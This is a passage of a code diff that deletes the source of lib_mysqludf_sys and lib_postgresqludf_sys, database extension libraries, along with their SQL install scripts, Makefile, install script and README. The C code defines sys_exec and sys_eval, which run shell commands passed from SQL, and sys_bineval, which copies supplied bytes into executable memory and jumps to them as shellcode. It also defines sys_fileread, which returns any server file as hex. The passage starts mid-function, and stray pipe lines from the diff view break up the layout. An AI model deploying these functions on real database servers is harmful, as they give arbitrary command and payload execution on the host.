// allocate a +rwx memory page
|
|
||||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
strncpy(code, args->args[0], len);
|
|
||||||
|
|
||||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
|
||||||
#else
|
|
||||||
pID = fork();
|
|
||||||
if(pID<0)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
if(pID==0)
|
|
||||||
{
|
|
||||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
|
||||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
|
||||||
|
|
||||||
// mmap an rwx memory page
|
|
||||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
|
||||||
|
|
||||||
if (addr == MAP_FAILED)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
strncpy((char *)addr, args->args[0], len);
|
|
||||||
|
|
||||||
((void (*)(void))addr)();
|
|
||||||
}
|
|
||||||
|
|
||||||
if(pID>0)
|
|
||||||
waitpid(pID, 0, WNOHANG);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_WIN64)
|
|
||||||
void __exec_payload(LPVOID);
|
|
||||||
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__exec_payload(lpParameter);
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__asm
|
|
||||||
{
|
|
||||||
mov eax, [lpParameter]
|
|
||||||
call eax
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif /* HAVE_DLOPEN */
|
|
|
@ -1,35 +0,0 @@
|
||||||
/*
|
|
||||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2007 Roland Bouman
|
|
||||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
|
||||||
web: http://www.mysqludf.org/
|
|
||||||
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
|
||||||
DROP FUNCTION IF EXISTS sys_get;
|
|
||||||
DROP FUNCTION IF EXISTS sys_set;
|
|
||||||
DROP FUNCTION IF EXISTS sys_exec;
|
|
||||||
DROP FUNCTION IF EXISTS sys_eval;
|
|
||||||
DROP FUNCTION IF EXISTS sys_bineval;
|
|
||||||
|
|
||||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
|
||||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
|
|
@ -1,21 +0,0 @@
|
||||||
LIBDIR=/tmp
|
|
||||||
|
|
||||||
9.0:
|
|
||||||
gcc -Wall -I/usr/include/postgresql/9.0/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
|
||||||
strip -sx lib_postgresqludf_sys.so
|
|
||||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
|
||||||
|
|
||||||
8.4:
|
|
||||||
gcc-4.2 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
|
||||||
strip -sx lib_postgresqludf_sys.so
|
|
||||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
|
||||||
|
|
||||||
8.3:
|
|
||||||
gcc-4.2 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
|
||||||
strip -sx lib_postgresqludf_sys.so
|
|
||||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
|
||||||
|
|
||||||
8.2:
|
|
||||||
gcc-4.2 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
|
|
||||||
strip -sx lib_postgresqludf_sys.so
|
|
||||||
cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
|
|
|
@ -1,63 +0,0 @@
|
||||||
#!/bin/bash
|
|
||||||
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
# Copyright (C) 2009-2010 Bernardo Damele A. G.
|
|
||||||
# web: http://bernardodamele.blogspot.com/
|
|
||||||
# email: bernardo.damele@gmail.com
|
|
||||||
#
|
|
||||||
# This library is free software; you can redistribute it and/or
|
|
||||||
# modify it under the terms of the GNU Lesser General Public
|
|
||||||
# License as published by the Free Software Foundation; either
|
|
||||||
# version 2.1 of the License, or (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This library is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
# Lesser General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU Lesser General Public
|
|
||||||
# License along with this library; if not, write to the Free Software
|
|
||||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
|
|
||||||
# Adapt the following settings to your environment
|
|
||||||
USER="postgres"
|
|
||||||
#PORT="5435"
|
|
||||||
#VERSION="9.0"
|
|
||||||
PORT="5434"
|
|
||||||
VERSION="8.4"
|
|
||||||
#PORT="5433"
|
|
||||||
#VERSION="8.3"
|
|
||||||
#PORT="5432"
|
|
||||||
#VERSION="8.2"
|
|
||||||
|
|
||||||
echo "Compiling the PostgreSQL UDF"
|
|
||||||
make ${VERSION}
|
|
||||||
|
|
||||||
if test $? -ne 0; then
|
|
||||||
echo "ERROR: You need postgresql-server development software installed"
|
|
||||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
|
||||||
|
|
||||||
if test "${VERSION}" == "8.2"; then
|
|
||||||
echo "apt-get install postgresql-server-dev-8.2"
|
|
||||||
elif test "${VERSION}" == "8.3"; then
|
|
||||||
echo "apt-get install postgresql-server-dev-8.3"
|
|
||||||
elif test "${VERSION}" == "8.4"; then
|
|
||||||
echo "apt-get install postgresql-server-dev-8.4"
|
|
||||||
elif test "${VERSION}" == "9.0"; then
|
|
||||||
echo "apt-get install postgresql-server-dev-9.0"
|
|
||||||
fi
|
|
||||||
|
|
||||||
exit 1
|
|
||||||
else
|
|
||||||
echo "PostgreSQL UDF compiled successfully"
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
|
|
||||||
|
|
||||||
psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
|
|
||||||
|
|
||||||
if test $? -ne 0; then
|
|
||||||
echo "ERROR: unable to install the UDF"
|
|
||||||
exit 1
|
|
||||||
else
|
|
||||||
echo "PostgreSQL UDF installed successfully"
|
|
||||||
fi
|
|
|
@ -1,277 +0,0 @@
|
||||||
/*
|
|
||||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
|
||||||
web: http://bernardodamele.blogspot.com/
|
|
||||||
email: bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
#define _USE_32BIT_TIME_T
|
|
||||||
#define DLLEXP __declspec(dllexport)
|
|
||||||
#define BUILDING_DLL 1
|
|
||||||
#else
|
|
||||||
#define DLLEXP
|
|
||||||
#include <sys/mman.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/wait.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <postgres.h>
|
|
||||||
#include <fmgr.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#include <ctype.h>
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef PG_MODULE_MAGIC
|
|
||||||
PG_MODULE_MAGIC;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
char *text_ptr_to_char_ptr(text *arg)
|
|
||||||
{
|
|
||||||
char *retVal;
|
|
||||||
int arg_size = VARSIZE(arg) - VARHDRSZ;
|
|
||||||
retVal = (char *)malloc(arg_size + 1);
|
|
||||||
|
|
||||||
memcpy(retVal, VARDATA(arg), arg_size);
|
|
||||||
retVal[arg_size] = '\0';
|
|
||||||
|
|
||||||
return retVal;
|
|
||||||
}
|
|
||||||
|
|
||||||
text *chr_ptr_to_text_ptr(char *arg)
|
|
||||||
{
|
|
||||||
text *retVal;
|
|
||||||
|
|
||||||
retVal = (text *)malloc(VARHDRSZ + strlen(arg));
|
|
||||||
#ifdef SET_VARSIZE
|
|
||||||
SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
|
|
||||||
#else
|
|
||||||
VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
|
|
||||||
#endif
|
|
||||||
memcpy(VARDATA(retVal), arg, strlen(arg));
|
|
||||||
|
|
||||||
return retVal;
|
|
||||||
}
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_exec);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
int32 result = 0;
|
|
||||||
char *command;
|
|
||||||
|
|
||||||
command = text_ptr_to_char_ptr(argv0);
|
|
||||||
|
|
||||||
/*
|
|
||||||
Only if you want to log
|
|
||||||
elog(NOTICE, "Command execution: %s", command);
|
|
||||||
*/
|
|
||||||
|
|
||||||
result = system(command);
|
|
||||||
free(command);
|
|
||||||
|
|
||||||
PG_FREE_IF_COPY(argv0, 0);
|
|
||||||
PG_RETURN_INT32(result);
|
|
||||||
}
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_eval);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
text *result_text;
|
|
||||||
char *command;
|
|
||||||
char *result;
|
|
||||||
FILE *pipe;
|
|
||||||
char *line;
|
|
||||||
int32 outlen, linelen;
|
|
||||||
|
|
||||||
command = text_ptr_to_char_ptr(argv0);
|
|
||||||
|
|
||||||
/*
|
|
||||||
Only if you want to log
|
|
||||||
elog(NOTICE, "Command evaluated: %s", command);
|
|
||||||
*/
|
|
||||||
|
|
||||||
line = (char *)malloc(1024);
|
|
||||||
result = (char *)malloc(1);
|
|
||||||
outlen = 0;
|
|
||||||
|
|
||||||
result[0] = (char)0;
|
|
||||||
|
|
||||||
pipe = popen(command, "r");
|
|
||||||
|
|
||||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
|
||||||
linelen = strlen(line);
|
|
||||||
result = (char *)realloc(result, outlen + linelen);
|
|
||||||
strncpy(result + outlen, line, linelen);
|
|
||||||
outlen = outlen + linelen;
|
|
||||||
}
|
|
||||||
|
|
||||||
pclose(pipe);
|
|
||||||
|
|
||||||
if (*result) {
|
|
||||||
result[outlen-1] = 0x00;
|
|
||||||
}
|
|
||||||
|
|
||||||
result_text = chr_ptr_to_text_ptr(result);
|
|
||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
|
||||||
}
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
int32 argv0_size;
|
|
||||||
size_t len;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
int pID;
|
|
||||||
char *code;
|
|
||||||
#else
|
|
||||||
int *addr;
|
|
||||||
size_t page_size;
|
|
||||||
pid_t pID;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
|
||||||
len = (size_t)argv0_size;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
// allocate a +rwx memory page
|
|
||||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
strncpy(code, VARDATA(argv0), len);
|
|
||||||
|
|
||||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
|
||||||
#else
|
|
||||||
pID = fork();
|
|
||||||
if(pID<0)
|
|
||||||
PG_RETURN_INT32(1);
|
|
||||||
|
|
||||||
if(pID==0)
|
|
||||||
{
|
|
||||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
|
||||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
|
||||||
|
|
||||||
// mmap an rwx memory page
|
|
||||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
|
||||||
|
|
||||||
if (addr == MAP_FAILED)
|
|
||||||
PG_RETURN_INT32(1);
|
|
||||||
|
|
||||||
strncpy((char *)addr, VARDATA(argv0), len);
|
|
||||||
|
|
||||||
((void (*)(void))addr)();
|
|
||||||
}
|
|
||||||
|
|
||||||
if(pID>0)
|
|
||||||
waitpid(pID, 0, WNOHANG);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
PG_RETURN_INT32(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__asm
|
|
||||||
{
|
|
||||||
mov eax, [lpParameter]
|
|
||||||
call eax
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#undef fopen
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_fileread);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
text *result_text;
|
|
||||||
int32 len;
|
|
||||||
int32 i, j;
|
|
||||||
char *filename;
|
|
||||||
char *result;
|
|
||||||
char *buffer;
|
|
||||||
char table[] = "0123456789ABCDEF";
|
|
||||||
FILE *file;
|
|
||||||
|
|
||||||
filename = text_ptr_to_char_ptr(argv0);
|
|
||||||
|
|
||||||
file = fopen(filename, "rb");
|
|
||||||
if (!file)
|
|
||||||
{
|
|
||||||
PG_RETURN_NULL();
|
|
||||||
}
|
|
||||||
fseek(file, 0, SEEK_END);
|
|
||||||
len = ftell(file);
|
|
||||||
fseek(file, 0, SEEK_SET);
|
|
||||||
|
|
||||||
buffer=(char *)malloc(len + 1);
|
|
||||||
if (!buffer)
|
|
||||||
{
|
|
||||||
fclose(file);
|
|
||||||
PG_RETURN_NULL();
|
|
||||||
}
|
|
||||||
|
|
||||||
fread(buffer, len, 1, file);
|
|
||||||
fclose(file);
|
|
||||||
|
|
||||||
result = (char *)malloc(2*len + 1);
|
|
||||||
for (i=0, j=0; i<len; i++)
|
|
||||||
{
|
|
||||||
result[j++] = table[(buffer[i] >> 4) & 0x0f];
|
|
||||||
result[j++] = table[ buffer[i] & 0x0f];
|
|
||||||
}
|
|
||||||
result[j] = '\0';
|
|
||||||
|
|
||||||
result_text = chr_ptr_to_text_ptr(result);
|
|
||||||
|
|
||||||
free(result);
|
|
||||||
free(buffer);
|
|
||||||
free(filename);
|
|
||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
|
||||||
}
|
|
|
@ -1,25 +0,0 @@
|
||||||
/*
|
|
||||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
|
||||||
web: http://bernardodamele.blogspot.com/
|
|
||||||
email: bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
|
||||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
|
||||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
|
||||||
CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
|
|
@ -1,29 +0,0 @@
|
||||||
Before compiling, you need to adapt the following to your environment:
|
|
||||||
|
|
||||||
Variables in install.sh script:
|
|
||||||
--------------------------------------------------------------------------
|
|
||||||
Variable name Variable description
|
|
||||||
--------------------------------------------------------------------------
|
|
||||||
USER Database management system administrative username
|
|
||||||
PORT Database management system port
|
|
||||||
VERSION Database management system version (PostgreSQL only)
|
|
||||||
|
|
||||||
Variables in Makefile:
|
|
||||||
--------------------------------------------------------------------------
|
|
||||||
Variable name Variable description
|
|
||||||
--------------------------------------------------------------------------
|
|
||||||
LIBDIR Database management system absolute file system
|
|
||||||
path for third party libraries (MySQL only)
|
|
||||||
|
|
||||||
Then you can launch './install.sh' if you want to compile the shared
|
|
||||||
object from the source code and create the user-defined functions on the
|
|
||||||
database management system.
|
|
||||||
If you only want to compile the shared object, you need to call only the
|
|
||||||
'make' command.
|
|
||||||
|
|
||||||
|
|
||||||
Notes:
|
|
||||||
|
|
||||||
To get as small shared libraries as possible compile with GCC 4.3 on
|
|
||||||
both 32-bit and 64-bit architecture and strip the libraries with 'strip'
|
|
||||||
command.
|
|
Binary file not shown.
|
@ -1,567 +0,0 @@
|
||||||
/*
|
|
||||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2007 Roland Bouman
|
|
||||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
|
||||||
web: http://www.mysqludf.org/
|
|
||||||
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
#define DLLEXP __declspec(dllexport)
|
|
||||||
#else
|
|
||||||
#define DLLEXP
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/wait.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef STANDARD
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <time.h>
|
|
||||||
#ifdef __WIN__
|
|
||||||
typedef unsigned __int64 ulonglong;
|
|
||||||
typedef __int64 longlong;
|
|
||||||
#else
|
|
||||||
typedef unsigned long long ulonglong;
|
|
||||||
typedef long long longlong;
|
|
||||||
#endif /*__WIN__*/
|
|
||||||
#else
|
|
||||||
#include <my_global.h>
|
|
||||||
#include <my_sys.h>
|
|
||||||
#endif
|
|
||||||
#include <mysql.h>
|
|
||||||
#include <m_ctype.h>
|
|
||||||
#include <m_string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
#include <ctype.h>
|
|
||||||
|
|
||||||
#ifdef HAVE_DLOPEN
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
|
||||||
|
|
||||||
#ifdef __WIN__
|
|
||||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
|
||||||
#else
|
|
||||||
#define SETENV(name,value) setenv(name,value,1);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
my_bool lib_mysqludf_sys_info_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* lib_mysqludf_sys_info(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_get
|
|
||||||
*
|
|
||||||
* Gets the value of the specified environment variable.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_get_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_get_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* sys_get(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_set
|
|
||||||
*
|
|
||||||
* Sets the value of the environment variables.
|
|
||||||
* This function accepts a set of name/value pairs
|
|
||||||
* which are then set as environment variables.
|
|
||||||
* Use sys_get to retrieve the value of such a variable
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_set_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_set_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
long long sys_set(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_exec
|
|
||||||
*
|
|
||||||
* executes the argument commandstring and returns its exit status.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_exec_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_exec_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
my_ulonglong sys_exec(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_eval
|
|
||||||
*
|
|
||||||
* executes the argument commandstring and returns its standard output.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_eval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_eval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* sys_eval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_bineval
|
|
||||||
*
|
|
||||||
* executes bynary opcodes.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_bineval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
